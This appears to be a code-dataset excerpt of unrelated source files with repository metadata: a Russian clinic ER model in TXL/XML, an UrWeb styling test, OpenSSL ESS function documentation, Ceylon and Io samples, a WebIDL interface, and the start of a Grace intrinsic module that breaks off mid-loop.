model</ModelName><Author></Author><Company></Company><Version></Version><CreatedDate>2018-05-15T13:13:38.394+03:00</CreatedDate><ModifiedDate>2018-05-23T15:45:32.201+03:00</ModifiedDate><Project></Project><Description></Description></ModelTitle></ModelTitle><DefaultCodeGenerator><Id>{A62BE3A0-D195-4264-A0FE-9DA24AF81A92}</Id></DefaultCodeGenerator><CodeGenerators><CodeGenerator ObjectType="1044" CSAOName="CodeGenerator" CSAOCaption="TCodeGeneratorFactory"><Id>{A62BE3A0-D195-4264-A0FE-9DA24AF81A92}</Id><GlobalOrder>0</GlobalOrder><FileName></FileName><GenerateFromModel>0</GenerateFromModel><GenerateWorkspaceID>{00000000-0000-0000-0000-000000000000}</GenerateWorkspaceID><PreviewBeforeSave>0</PreviewBeforeSave><TextCaseIndex>0</TextCaseIndex><AppendToFile>0</AppendToFile><OrderSettings/></CodeGenerator></CodeGenerators><SimpleTexts><SimpleText ObjectType="1076" CSAOName="SimpleText" CSAOCaption="Simple Text"><Id>{0C857955-D750-421A-9EC6-DEADA5760BD2}</Id><Name>Text3</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><SimpleText>Потребитель или заказчик определенного
вида услуг или товаров. Новый экземпляр
сущности появляется при спросе на товар или
услугу.</SimpleText></SimpleText><SimpleText ObjectType="1076" CSAOName="SimpleText" CSAOCaption="Simple Text"><Id>{B4756FE6-72C4-43ED-BD1D-B5F73B6C6326}</Id><Name>Text4</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><SimpleText>Мнение или оценка клиента.Новый экземпляр
сущности появляется при желании клиента
оставить отзыв об компании или заказе.</SimpleText></SimpleText><SimpleText ObjectType="1076" CSAOName="SimpleText" CSAOCaption="Simple Text"><Id>{5AF4514E-C9CC-4832-9C56-7F5642BD54D4}</Id><Name>Text5</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><SimpleText>Исполнение заказа или услуги. Новый
экземпляр сущности появляется
при обращениях клиентов в клинику
за услугами.</SimpleText></SimpleText><SimpleText ObjectType="1076" CSAOName="SimpleText" CSAOCaption="Simple Text"><Id>{B5401688-5216-40DE-8820-29872B065DF5}</Id><Name>Text6</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><SimpleText>Квалифицированный рабочий, имеющий
образования по соответствующей
специальности. Новый экземпляр
сущности появляется при трудоустройстве
в компанию, подписании трудового договора</SimpleText></SimpleText><SimpleText ObjectType="1076" CSAOName="SimpleText" CSAOCaption="Simple Text"><Id>{3B4A794A-2B36-4A51-91D8-54929969169D}</Id><Name>Text7</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><SimpleText>Предпринимательская деятельность,
направленная на удовлетворение потребностей
других лиц,Новый экземпляр сущности
появляется при результате взаимодействия
поставщика и потребителя.</SimpleText></SimpleText><SimpleText ObjectType="1076" CSAOName="SimpleText" CSAOCaption="Simple Text"><Id>{CE242F55-A3B7-4007-A993-CBDF7FDB0312}</Id><Name>Text8</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><SimpleText>Вещество или смесь веществ синтетического
или природного происхождения в виде
лекарственной формы (таблетки, капсулы,
растворы, мази и т. п.), применяемые для
профилактики, диагностики и лечения
заболеваний.Новый экземпляр сущности
появляется при надобности товара для клиента</SimpleText></SimpleText></SimpleTexts><Verificators2><LERVerificator2 ObjectType="1245" CSAOName="LERVerificator2" CSAOCaption="LER Verificator"><Id>{95391C86-49C4-488A-ADD3-87DC55CEB671}</Id><Name></Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><DisabledTestTypes></DisabledTestTypes><WorkingSet><Id>{A4463990-21B0-461B-8C26-0638A9C6027F}</Id></WorkingSet><IgnoredList><IIgnoredList ObjectType="1085" CSAOName="IIgnoredList" CSAOCaption="IIgnoredList"><Id>{D324C8E1-7EF8-4E3B-9CEC-728C2E9C6848}</Id><Name></Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder></IIgnoredList></IgnoredList></LERVerificator2></Verificators2><WorkingSets><WorkingSet ObjectType="1080" CSAOName="WorkingSet" CSAOCaption="Working Set"><Id>{A4463990-21B0-461B-8C26-0638A9C6027F}</Id><Name>All Objects</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><IgnoreClasses/></WorkingSet><WorkingSet ObjectType="1080" CSAOName="WorkingSet" CSAOCaption="Working Set"><Id>{B5C83EAF-600D-4246-8D13-53BB615A473F}</Id><Name>Excel Import - Export</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><IgnoreClasses/></WorkingSet><WorkingSet ObjectType="1080" CSAOName="WorkingSet" CSAOCaption="Working Set"><Id>{16264CC9-2F63-4AD3-8A0F-7CE888C39B3C}</Id><Name>CSV Import - Export</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><IgnoreClasses/></WorkingSet><WorkingSet ObjectType="1080" CSAOName="WorkingSet" CSAOCaption="Working Set"><Id>{4E8B1E71-E609-4C96-A58A-C2059DAB4B51}</Id><Name>All Objects</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><IgnoreClasses/></WorkingSet></WorkingSets><ModelManager><ModelManagerStorage ObjectType="1180" CSAOName="ModelManagerStorage" CSAOCaption="Model Manager Storage"><Id>{2CD86986-9436-4786-BE19-4CF97D561407}</Id><Name></Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GeneratorAliases><IGeneratorAlias ObjectType="1183" CSAOName="IGeneratorAlias" CSAOCaption="IGeneratorAlias"><Id>{3045FF52-0570-4812-8DC8-C49AC2BE4DD0}</Id><Name>Last (Default)</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><Description></Description><IsLast>1</IsLast><SerializedGenerator><?xml version="1.0"?>
<CodeGenerator ObjectType="1044" CSAOName="CodeGenerator" CSAOCaption="TCodeGeneratorFactory" InternalVersion="20.11" ProductVersion="6.3.3.2"><Id>{A62BE3A0-D195-4264-A0FE-9DA24AF81A92}</Id><GlobalOrder>0</GlobalOrder><FileName></FileName><GenerateFromModel>0</GenerateFromModel><GenerateWorkspaceID>{00000000-0000-0000-0000-000000000000}</GenerateWorkspaceID><PreviewBeforeSave>0</PreviewBeforeSave><TextCaseIndex>0</TextCaseIndex><AppendToFile>0</AppendToFile><OrderSettings/></CodeGenerator>
</SerializedGenerator></IGeneratorAlias></GeneratorAliases></ModelManagerStorage></ModelManager><Entities><LEREntity ObjectType="4004" CSAOName="LEREntity" CSAOCaption="Entity"><Id>{94F4B46F-E5E2-4FB0-8158-84124C735AB4}</Id><Name>Клиент/E1</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>3</VerifyState><OnlyLogical>0</OnlyLogical><Caption>Клиент/E1</Caption><Size>0</Size><Description></Description><Nature></Nature><DevDescription></DevDescription><Relations><Id>{7C13A800-4123-4038-B580-69BA2247AE13}</Id></Relations><UniqueIdentifiers><LERUniqueIdentifier ObjectType="4011" CSAOName="LERUniqueIdentifier" CSAOCaption="Unique Identifier"><Id>{4F8F7B5E-4121-46A8-AC48-094B232BDEB5}</Id><Name>Unique_Identifier1</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>1</VerifyState><Caption>Unique_Identifier1</Caption><Relations><Id>{7C13A800-4123-4038-B580-69BA2247AE13}</Id></Relations></LERUniqueIdentifier></UniqueIdentifiers><PrimaryIdentifier><Id>{4F8F7B5E-4121-46A8-AC48-094B232BDEB5}</Id></PrimaryIdentifier><Category/></LEREntity><LEREntity ObjectType="4004" CSAOName="LEREntity" CSAOCaption="Entity"><Id>{BE9EB4C5-BF3A-4812-9AB1-82B7651D7D15}</Id><Name>Отзыв_клиента/E2</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>3</VerifyState><OnlyLogical>0</OnlyLogical><Caption>Отзыв_клиента/E2</Caption><Size>0</Size><Description></Description><Nature></Nature><DevDescription></DevDescription><Relations><Id>{C11B67D4-D31A-4D80-891C-99FC606119D0}</Id></Relations><UniqueIdentifiers><LERUniqueIdentifier ObjectType="4011" CSAOName="LERUniqueIdentifier" CSAOCaption="Unique Identifier"><Id>{0417E704-2367-4B47-B59B-41E1DC3588B4}</Id><Name>Unique_Identifier2</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>1</VerifyState><Caption>Unique_Identifier2</Caption><Relations><Id>{C11B67D4-D31A-4D80-891C-99FC606119D0}</Id></Relations></LERUniqueIdentifier></UniqueIdentifiers><PrimaryIdentifier><Id>{0417E704-2367-4B47-B59B-41E1DC3588B4}</Id></PrimaryIdentifier><Category/></LEREntity><LEREntity ObjectType="4004" CSAOName="LEREntity" CSAOCaption="Entity"><Id>{0FA66A00-8C98-4BAC-AEE8-D8DDC53C1E54}</Id><Name>Специалисты/E3</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>3</VerifyState><OnlyLogical>0</OnlyLogical><Caption>Специалисты/E3</Caption><Size>0</Size><Description></Description><Nature></Nature><DevDescription></DevDescription><Relations><Id>{08AE0C5A-CFEE-4593-9F22-AAD7F955B6A2}</Id></Relations><UniqueIdentifiers><LERUniqueIdentifier ObjectType="4011" CSAOName="LERUniqueIdentifier" CSAOCaption="Unique Identifier"><Id>{10D90689-0738-4F19-9267-F9F92574D621}</Id><Name>Unique_Identifier3</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>1</VerifyState><Caption>Unique_Identifier3</Caption><Relations><Id>{08AE0C5A-CFEE-4593-9F22-AAD7F955B6A2}</Id></Relations></LERUniqueIdentifier></UniqueIdentifiers><PrimaryIdentifier><Id>{10D90689-0738-4F19-9267-F9F92574D621}</Id></PrimaryIdentifier><Category/></LEREntity><LEREntity ObjectType="4004" CSAOName="LEREntity" CSAOCaption="Entity"><Id>{CC0EF109-7AC6-40E2-A89D-2258021E142C}</Id><Name>Лекарство/E4</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>3</VerifyState><OnlyLogical>0</OnlyLogical><Caption>Лекарство/E4</Caption><Size>0</Size><Description></Description><Nature></Nature><DevDescription></DevDescription><Relations><Id>{E135E7C9-5814-432C-8A35-83E6C161FAE8}</Id></Relations><UniqueIdentifiers><LERUniqueIdentifier ObjectType="4011" CSAOName="LERUniqueIdentifier" CSAOCaption="Unique Identifier"><Id>{068730DC-186A-4647-9F41-DD95D215E74C}</Id><Name>Unique_Identifier4</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>1</VerifyState><Caption>Unique_Identifier4</Caption><Relations><Id>{E135E7C9-5814-432C-8A35-83E6C161FAE8}</Id></Relations></LERUniqueIdentifier></UniqueIdentifiers><PrimaryIdentifier><Id>{068730DC-186A-4647-9F41-DD95D215E74C}</Id></PrimaryIdentifier><Category/></LEREntity><LEREntity ObjectType="4004" CSAOName="LEREntity" CSAOCaption="Entity"><Id>{001673AF-3210-439C-BCE5-7FC4C5C38F3C}</Id><Name>Услуга/E5</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>3</VerifyState><OnlyLogical>0</OnlyLogical><Caption>Услуга/E5</Caption><Size>0</Size><Description></Description><Nature></Nature><DevDescription></DevDescription><Relations><Id>{08AE0C5A-CFEE-4593-9F22-AAD7F955B6A2}</Id><Id>{E135E7C9-5814-432C-8A35-83E6C161FAE8}</Id><Id>{9943CB21-3B3B-4F99-BEDD-271C4C0FEE07}</Id></Relations><UniqueIdentifiers><LERUniqueIdentifier ObjectType="4011" CSAOName="LERUniqueIdentifier" CSAOCaption="Unique Identifier"><Id>{9DCD4A0A-78BB-4DA1-8451-28B3CE1EA9AF}</Id><Name>Unique_Identifier5</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>1</VerifyState><Caption>Unique_Identifier5</Caption><Relations><Id>{E135E7C9-5814-432C-8A35-83E6C161FAE8}</Id><Id>{9943CB21-3B3B-4F99-BEDD-271C4C0FEE07}</Id></Relations></LERUniqueIdentifier></UniqueIdentifiers><PrimaryIdentifier><Id>{9DCD4A0A-78BB-4DA1-8451-28B3CE1EA9AF}</Id></PrimaryIdentifier><Category/></LEREntity><LEREntity ObjectType="4004" CSAOName="LEREntity" CSAOCaption="Entity"><Id>{29727F91-4E17-4EAB-B8C1-22C9F25A17A1}</Id><Name>Реализация_услуг/E6</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>3</VerifyState><OnlyLogical>0</OnlyLogical><Caption>Реализация_услуг/E6</Caption><Size>0</Size><Description></Description><Nature></Nature><DevDescription></DevDescription><Relations><Id>{C11B67D4-D31A-4D80-891C-99FC606119D0}</Id><Id>{9943CB21-3B3B-4F99-BEDD-271C4C0FEE07}</Id><Id>{7C13A800-4123-4038-B580-69BA2247AE13}</Id></Relations><UniqueIdentifiers><LERUniqueIdentifier ObjectType="4011" CSAOName="LERUniqueIdentifier" CSAOCaption="Unique Identifier"><Id>{DAB81F52-1C33-4692-BCBC-0B84568BE6A7}</Id><Name>Unique_Identifier6</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><VerifyState>1</VerifyState><Caption>Unique_Identifier6</Caption><Relations><Id>{C11B67D4-D31A-4D80-891C-99FC606119D0}</Id><Id>{9943CB21-3B3B-4F99-BEDD-271C4C0FEE07}</Id></Relations></LERUniqueIdentifier></UniqueIdentifiers><PrimaryIdentifier><Id>{DAB81F52-1C33-4692-BCBC-0B84568BE6A7}</Id></PrimaryIdentifier><Category/></LEREntity></Entities><Relations><LERRelation ObjectType="4005" CSAOName="LERRelation" CSAOCaption="Relation"><Id>{08AE0C5A-CFEE-4593-9F22-AAD7F955B6A2}</Id><Name>Обслуживает</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><O1><Id>{0FA66A00-8C98-4BAC-AEE8-D8DDC53C1E54}</Id></O1><O2><Id>{001673AF-3210-439C-BCE5-7FC4C5C38F3C}</Id></O2><Card1Low>1</Card1Low><Card1High>1</Card1High><Card2Low>0</Card2Low><Card2High>-1</Card2High><Caption>Обслуживает</Caption><OnlyLogical>0</OnlyLogical><Dependency1>0</Dependency1><Dependency2>1</Dependency2><Description></Description><DominantRole1>1</DominantRole1><DominantRole2>0</DominantRole2><DevDescription></DevDescription><ForeignUniqueIdentifier><Id>{10D90689-0738-4F19-9267-F9F92574D621}</Id></ForeignUniqueIdentifier><ForeignUniqueIdentifierOpposite/><Category/></LERRelation><LERRelation ObjectType="4005" CSAOName="LERRelation" CSAOCaption="Relation"><Id>{E135E7C9-5814-432C-8A35-83E6C161FAE8}</Id><Name>Обеспечивает/Пользуется</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><O1><Id>{CC0EF109-7AC6-40E2-A89D-2258021E142C}</Id></O1><O2><Id>{001673AF-3210-439C-BCE5-7FC4C5C38F3C}</Id></O2><Card1Low>1</Card1Low><Card1High>-1</Card1High><Card2Low>0</Card2Low><Card2High>-1</Card2High><Caption>Обеспечивает/Пользуется</Caption><OnlyLogical>0</OnlyLogical><Dependency1>0</Dependency1><Dependency2>1</Dependency2><Description></Description><DominantRole1>1</DominantRole1><DominantRole2>0</DominantRole2><DevDescription></DevDescription><ForeignUniqueIdentifier><Id>{068730DC-186A-4647-9F41-DD95D215E74C}</Id></ForeignUniqueIdentifier><ForeignUniqueIdentifierOpposite><Id>{9DCD4A0A-78BB-4DA1-8451-28B3CE1EA9AF}</Id></ForeignUniqueIdentifierOpposite><Category/></LERRelation><LERRelation ObjectType="4005" CSAOName="LERRelation" CSAOCaption="Relation"><Id>{C11B67D4-D31A-4D80-891C-99FC606119D0}</Id><Name>Описывает</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><O1><Id>{BE9EB4C5-BF3A-4812-9AB1-82B7651D7D15}</Id></O1><O2><Id>{29727F91-4E17-4EAB-B8C1-22C9F25A17A1}</Id></O2><Card1Low>1</Card1Low><Card1High>1</Card1High><Card2Low>0</Card2Low><Card2High>1</Card2High><Caption>Описывает</Caption><OnlyLogical>0</OnlyLogical><Dependency1>0</Dependency1><Dependency2>1</Dependency2><Description></Description><DominantRole1>1</DominantRole1><DominantRole2>0</DominantRole2><DevDescription></DevDescription><ForeignUniqueIdentifier><Id>{0417E704-2367-4B47-B59B-41E1DC3588B4}</Id></ForeignUniqueIdentifier><ForeignUniqueIdentifierOpposite><Id>{DAB81F52-1C33-4692-BCBC-0B84568BE6A7}</Id></ForeignUniqueIdentifierOpposite><Category/></LERRelation><LERRelation ObjectType="4005" CSAOName="LERRelation" CSAOCaption="Relation"><Id>{9943CB21-3B3B-4F99-BEDD-271C4C0FEE07}</Id><Name>Завершает</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><O1><Id>{001673AF-3210-439C-BCE5-7FC4C5C38F3C}</Id></O1><O2><Id>{29727F91-4E17-4EAB-B8C1-22C9F25A17A1}</Id></O2><Card1Low>1</Card1Low><Card1High>-1</Card1High><Card2Low>0</Card2Low><Card2High>1</Card2High><Caption>Завершает</Caption><OnlyLogical>0</OnlyLogical><Dependency1>0</Dependency1><Dependency2>0</Dependency2><Description></Description><DominantRole1>1</DominantRole1><DominantRole2>0</DominantRole2><DevDescription></DevDescription><ForeignUniqueIdentifier><Id>{9DCD4A0A-78BB-4DA1-8451-28B3CE1EA9AF}</Id></ForeignUniqueIdentifier><ForeignUniqueIdentifierOpposite><Id>{DAB81F52-1C33-4692-BCBC-0B84568BE6A7}</Id></ForeignUniqueIdentifierOpposite><Category/></LERRelation><LERRelation ObjectType="4005" CSAOName="LERRelation" CSAOCaption="Relation"><Id>{7C13A800-4123-4038-B580-69BA2247AE13}</Id><Name>Пользуется</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><O1><Id>{94F4B46F-E5E2-4FB0-8158-84124C735AB4}</Id></O1><O2><Id>{29727F91-4E17-4EAB-B8C1-22C9F25A17A1}</Id></O2><Card1Low>1</Card1Low><Card1High>1</Card1High><Card2Low>0</Card2Low><Card2High>-1</Card2High><Caption>Пользуется</Caption><OnlyLogical>0</OnlyLogical><Dependency1>0</Dependency1><Dependency2>0</Dependency2><Description></Description><DominantRole1>0</DominantRole1><DominantRole2>0</DominantRole2><DevDescription></DevDescription><ForeignUniqueIdentifier><Id>{4F8F7B5E-4121-46A8-AC48-094B232BDEB5}</Id></ForeignUniqueIdentifier><ForeignUniqueIdentifierOpposite/><Category/></LERRelation></Relations></LERModel>
| TXL | 1 | smola/language-dataset | data/github.com/BazhanovMaxim/College_coursework/fe5a1ec5aa0d01f3d68948adeee168afe898e5f8/Logical_model.txl | [
"MIT"
] |
style style1
style style2
fun main () : transaction page = return <xml><body>
<div class="style1" dynClass={return (CLASS "style2")}>Text</div>
<div dynClass={return (CLASS "style2")}>Text</div>
<div style="font-weight: bold" dynStyle={return (STYLE "font-variant: small-caps")}>Text</div>
<div dynStyle={return (STYLE "font-variant: small-caps")}>Text</div>
</body></xml>
| UrWeb | 1 | apple314159/urweb | tests/classAndDynClass.ur | [
"BSD-3-Clause"
] |
=pod
=head1 NAME
OSSL_ESS_signing_cert_new_init,
OSSL_ESS_signing_cert_v2_new_init,
OSSL_ESS_check_signing_certs
- Enhanced Security Services (ESS) functions
=head1 SYNOPSIS
#include <openssl/ess.h>
ESS_SIGNING_CERT *OSSL_ESS_signing_cert_new_init(const X509 *signcert,
const STACK_OF(X509) *certs,
int set_issuer_serial);
ESS_SIGNING_CERT_V2 *OSSL_ESS_signing_cert_v2_new_init(const EVP_MD *hash_alg,
const X509 *signcert,
const
STACK_OF(X509) *certs,
int set_issuer_serial);
int OSSL_ESS_check_signing_certs(const ESS_SIGNING_CERT *ss,
const ESS_SIGNING_CERT_V2 *ssv2,
const STACK_OF(X509) *chain,
int require_signing_cert);
=head1 DESCRIPTION
OSSL_ESS_signing_cert_new_init() generates a new B<ESS_SIGNING_CERT> structure
referencing the given I<signcert> and any given further I<certs>
using their SHA-1 fingerprints.
If I<set_issuer_serial> is nonzero then also the issuer and serial number
of I<signcert> are included in the B<ESS_CERT_ID> as the B<issuerSerial> field.
For all members of I<certs> the B<issuerSerial> field is always included.
OSSL_ESS_signing_cert_v2_new_init() is the same as
OSSL_ESS_signing_cert_new_init() except that it uses the given I<hash_alg> and
generates a B<ESS_SIGNING_CERT_V2> structure with B<ESS_CERT_ID_V2> elements.
OSSL_ESS_check_signing_certs() checks if the validation chain I<chain> contains
the certificates required by the identifiers given in I<ss> and/or I<ssv2>.
If I<require_signing_cert> is nonzero, I<ss> or I<ssv2> must not be NULL.
If both I<ss> and I<ssv2> are not NULL, they are evaluated independently.
The list of certificate identifiers in I<ss> is of type B<ESS_CERT_ID>,
while the list contained in I<ssv2> is of type B<ESS_CERT_ID_V2>.
As far as these lists are present, they must be nonempty.
The certificate identified by their first entry must be the first element of
I<chain>, i.e. the signer certificate.
Any further certficates referenced in the list must also be found in I<chain>.
The matching is done using the given certificate hash algorithm and value.
In addition to the checks required by RFCs 2624 and 5035,
if the B<issuerSerial> field is included in an B<ESSCertID> or B<ESSCertIDv2>
it must match the certificate issuer and serial number attributes.
=head1 NOTES
ESS has been defined in RFC 2634, which has been updated in RFC 5035
(ESS version 2) to support hash algorithms other than SHA-1.
This is used for TSP (RFC 3161) and CAdES-BES (informational RFC 5126).
=head1 RETURN VALUES
OSSL_ESS_signing_cert_new_init() and OSSL_ESS_signing_cert_v2_new_init()
return a pointer to the new structure or NULL on malloc failure.
OSSL_ESS_check_signing_certs() returns 1 on success,
0 if a required certificate cannot be found, -1 on other error.
=head1 SEE ALSO
L<TS_VERIFY_CTX_set_certs(3)>,
L<CMS_verify(3)>
=head1 HISTORY
OSSL_ESS_signing_cert_new_init(), OSSL_ESS_signing_cert_v2_new_init(), and
OSSL_ESS_check_signing_certs() were added in OpenSSL 3.0.
=head1 COPYRIGHT
Copyright 2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| Pod | 5 | pmesnier/openssl | doc/man3/OSSL_ESS_check_signing_certs.pod | [
"Apache-2.0"
] |
shared void run() {
print("Hello world!");
}
| Ceylon | 2 | saurabhcommand/Hello-world | Ceylon/main.ceylon | [
"MIT"
] |
[Exposed=Window,
HTMLConstructor]
interface HTMLTimeElement : HTMLElement {
[CEReactions, Reflect] attribute DOMString dateTime;
};
| WebIDL | 3 | corsarstl/Learn-Vue-2 | vue-testing/node_modules/jsdom/lib/jsdom/living/nodes/HTMLTimeElement.webidl | [
"MIT"
] |
#!/usr/bin/env io
// evaluating a string
writeln("1 + 2 ==> ", doString("1 + 2"))
simpleDecompile := method(
// test of decompiling a method
Dog := Object clone
Dog bark := method("woof!" print)
writeln("simple decompiled method: ", Dog getSlot("bark") code)
)
fancyDecompile := method(
writeln("fancy decompile: ", Lobby getSlot("simpleDecompile") asString)
)
simpleDecompile
fancyDecompile
| Io | 3 | akluth/io | samples/misc/Decompile.io | [
"BSD-3-Clause"
] |
dialect "none"
// The intrinsic module. This is the home for language elements that cannot
// be defined in Grace itself because they are beyond the descriptive power
// of the language.
once method Exception { native "js" code ‹return ExceptionObject;› }
def UnimplementedMethod = Exception.refine "UnimplementedMethod"
def TypeType = native "js" code ‹result = type_Type›
def StringType = native "js" code ‹result = type_String›
def NumberType = native "js" code ‹result = type_Number›
def BooleanType = native "js" code ‹result = type_Boolean›
def ObjectType = native "js" code ‹result = type_Object›
def DoneType = native "js" code ‹result = type_Done›
def NoneType = object {
method name { "None" }
method matches(obj) { false }
method | (other) { other }
method & (other) { self }
method prefix ¬ { DoneType }
method +(other) { other }
method -(other) {
UnimplementedMethod.raise "can't subtract methods from type {name}"
}
method asString { "type {name}" }
method methodNames {
UnimplementedMethod.raise
"can't get the methods of type {name} because they form an infinite set"
}
method ==(other) { self.isMe(other) }
method hash { myIdentityHash }
method isNone { true }
}
trait types {
// these types are defined in terms of names defined elsewhere because the rhs
// of a type declaration cannot be an arbitrary request, such as native(_)code(_)
type Type = TypeType
type None = NoneType
type String = StringType
type Number = NumberType
type Boolean = BooleanType
type Done = DoneType
}
trait annotations {
// these _can_ be declared in Grace, but we don't want to repeat the
// definitions in many files
method annotation is annotation
method required is annotation
method abstract is annotation
method confidential is annotation
method public is annotation
method readable is annotation
method writable is annotation
method override is annotation
}
trait constants {
method Exception { outer.Exception }
method UnimplementedMethod { outer.UnimplementedMethod }
method ProgrammingError { native "js" code ‹
return ProgrammingErrorObject; ›
}
method EnvironmentException { native "js" code ‹
return EnvironmentExceptionObject; ›
}
method ResourceException { native "js" code ‹
return ResourceExceptionObject; ›
}
method RuntimeError { native "js" code ‹
return RuntimeErrorObject; ›
}
method TypeError { native "js" code ‹
return TypeErrorObject; ›
}
method NoSuchMethod { native "js" code ‹
return NoSuchMethodErrorObject; ›
}
method BoundsError { native "js" code ‹
return BoundsErrorObject; ›
}
method IteratorExhausted { native "js" code ‹
return IteratorExhaustedObject; ›
}
method NoSuchObject { native "js" code ‹
return NoSuchObjectErrorObject; ›
}
once method DialectError {
Exception.refine "DialectError"
}
once method infinity { native "js" code ‹
return new GraceNum(Infinity); ›
}
once method done { native "js" code ‹return GraceDone;› }
once class primitiveArray {
method new(size) {
native "js" code ‹return new GracePrimitiveArray(var_size._value);›
}
}
}
trait controlStructures {
method while (cond) do (block) {
native "js" code ‹
const c = var_cond;
const b = var_block;
if (c.className === "boolean" || c.className === "number")
throw new GraceExceptionPacket(TypeErrorObject,
new GraceString("expected Block for first argument of " +
"while(_)do(_), got " + c.className + "."));
if ((typeof minigrace != "undefined") && minigrace.breakLoops) {
var count = 0;
var runningTime = 0;
var runningCount = 0;
var startTime = new Date();
var diff;
while (Grace_isTrue(callmethod(c, "apply", [0]))) {
count++;
